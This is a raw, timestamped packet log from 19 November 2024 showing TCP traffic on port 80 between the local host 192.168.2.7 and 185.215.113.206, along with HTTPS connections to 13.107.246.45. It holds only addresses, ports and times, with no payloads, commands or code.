Nov 19, 2024 20:05:26.375116110 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.375125885 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.375185013 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.384129047 CET	443	49743	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:26.384651899 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.384665966 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.384679079 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.384740114 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.384751081 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.384766102 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.384778023 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.384790897 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.384809017 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.384810925 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.384840012 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.384886026 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.384965897 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.384978056 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.384990931 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.385001898 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.385009050 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.385014057 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.385025978 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.385035992 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.385036945 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.385072947 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.393896103 CET	49743	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:26.393915892 CET	443	49743	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:26.394614935 CET	49743	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:26.394619942 CET	443	49743	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:26.404476881 CET	443	49739	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:26.404558897 CET	443	49739	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:26.404633045 CET	49739	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:26.404747009 CET	49739	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:26.404747009 CET	49739	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:26.404767990 CET	443	49739	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:26.404776096 CET	443	49739	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:26.408277988 CET	49744	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:26.408304930 CET	443	49744	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:26.408371925 CET	49744	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:26.408605099 CET	49744	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:26.408621073 CET	443	49744	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:26.411323071 CET	443	49740	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:26.411397934 CET	443	49740	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:26.411497116 CET	49740	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:26.411561966 CET	49740	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:26.411577940 CET	443	49740	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:26.411583900 CET	49740	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:26.411588907 CET	443	49740	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:26.413569927 CET	443	49741	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:26.413642883 CET	443	49741	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:26.413717031 CET	49741	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:26.414356947 CET	49741	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:26.414371014 CET	443	49741	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:26.414380074 CET	49741	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:26.414385080 CET	443	49741	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:26.417340994 CET	49745	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:26.417386055 CET	443	49745	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:26.417469978 CET	49745	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:26.417865992 CET	49745	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:26.417882919 CET	443	49745	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:26.418740988 CET	49746	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:26.418768883 CET	443	49746	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:26.418889046 CET	49746	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:26.419008017 CET	49746	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:26.419022083 CET	443	49746	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:26.421895981 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.421938896 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.421948910 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.421952009 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.421983957 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.422003031 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.422024012 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.422035933 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.422049046 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.422070026 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.422101021 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.422102928 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.422141075 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.422607899 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.422650099 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.422665119 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.422676086 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.422708035 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.422719955 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.422734022 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.422761917 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.422775030 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.422785044 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.422791958 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.422796965 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.422816038 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.422843933 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.422843933 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.422880888 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.422897100 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.422936916 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.422956944 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.422967911 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.422981977 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.422992945 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.422995090 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.423013926 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.423033953 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.423070908 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.423083067 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.423098087 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.423115969 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.423134089 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.423134089 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.423172951 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.423202038 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.423213959 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.423224926 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.423243046 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.423270941 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.423321009 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.423335075 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.423346996 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.423358917 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.423365116 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.423397064 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.423415899 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.423449993 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.423547029 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.423557997 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.423568964 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.423579931 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.423584938 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.423592091 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.423599005 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.423604012 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.423631907 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.423685074 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.423696995 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.423726082 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.423733950 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.423752069 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.423769951 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.423791885 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.423804045 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.423829079 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.423830032 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.423847914 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.423860073 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.423908949 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.423922062 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.423933983 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.423943996 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.423949957 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.423969984 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.423999071 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.424082041 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.424094915 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.424107075 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.424118996 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.424124002 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.424133062 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.424139977 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.424170017 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.424210072 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.424221992 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.424247980 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.424266100 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.424266100 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.424278975 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.424289942 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.424303055 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.424307108 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.424320936 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.424377918 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.424458027 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.424470901 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.424495935 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.424526930 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.424567938 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.424581051 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.424592018 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.424603939 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.424609900 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.424616098 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.424618959 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.424628973 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.424665928 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.424675941 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.424761057 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.424773932 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.424787045 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.424803972 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.424808979 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.424845934 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.424896955 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.440342903 CET	443	49742	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:26.440416098 CET	443	49742	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:26.440469027 CET	49742	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:26.440679073 CET	49742	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:26.440692902 CET	443	49742	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:26.440701008 CET	49742	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:26.440705061 CET	443	49742	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:26.459275961 CET	49747	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:26.459323883 CET	443	49747	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:26.459393024 CET	49747	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:26.459717035 CET	49747	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:26.459731102 CET	443	49747	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:26.462903976 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.462934971 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.462946892 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.462984085 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.463018894 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.463020086 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.463026047 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.463033915 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.463042021 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.463104010 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.463123083 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.463130951 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.463140965 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.463146925 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.463212013 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.463351011 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.463387966 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.463402987 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.463413954 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.463419914 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.463469982 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.463479996 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.463485003 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.463531971 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.463541985 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.463567972 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.463634014 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.463644981 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.463676929 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.463713884 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.463725090 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.463740110 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.463746071 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.463809967 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.463877916 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.463895082 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.463948965 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.463992119 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.464005947 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.464011908 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.464019060 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.464030027 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.464051962 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.464101076 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.464148998 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.464231014 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.464240074 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.464247942 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.464252949 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.464261055 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.464262962 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.464268923 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.464282990 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.464288950 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.464355946 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.464386940 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.464565992 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.464571953 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.464577913 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.464584112 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.464590073 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.464709044 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.470859051 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.470904112 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.470910072 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.470936060 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.470976114 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.470987082 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.471004009 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.471029997 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.471076965 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.471110106 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.471127987 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.471138954 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.471146107 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.471149921 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.471153975 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.471203089 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.471252918 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.471288919 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.471299887 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.471301079 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.471359015 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.471385956 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.471424103 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.508544922 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.508552074 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.508553982 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.508563042 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.508569956 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.508661985 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.508673906 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.508687019 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.508702993 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.508734941 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.508764029 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.509315014 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.509320021 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.509325981 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.509332895 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.509341002 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.509418011 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.509453058 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.509479046 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.509493113 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.509519100 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.509567976 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.509578943 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.509592056 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.509602070 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.509608984 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.509614944 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.509620905 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.509622097 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.509628057 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.509634972 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.509646893 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.509659052 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.509686947 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.509715080 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.509753942 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.509835958 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.509848118 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.509852886 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.509862900 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.509870052 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.509876013 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.509947062 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.509974957 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.509984016 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.509987116 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.509994030 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.509999990 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.510006905 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.510011911 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.510019064 CET	80	49718	185.215.113.206	192.168.2.7
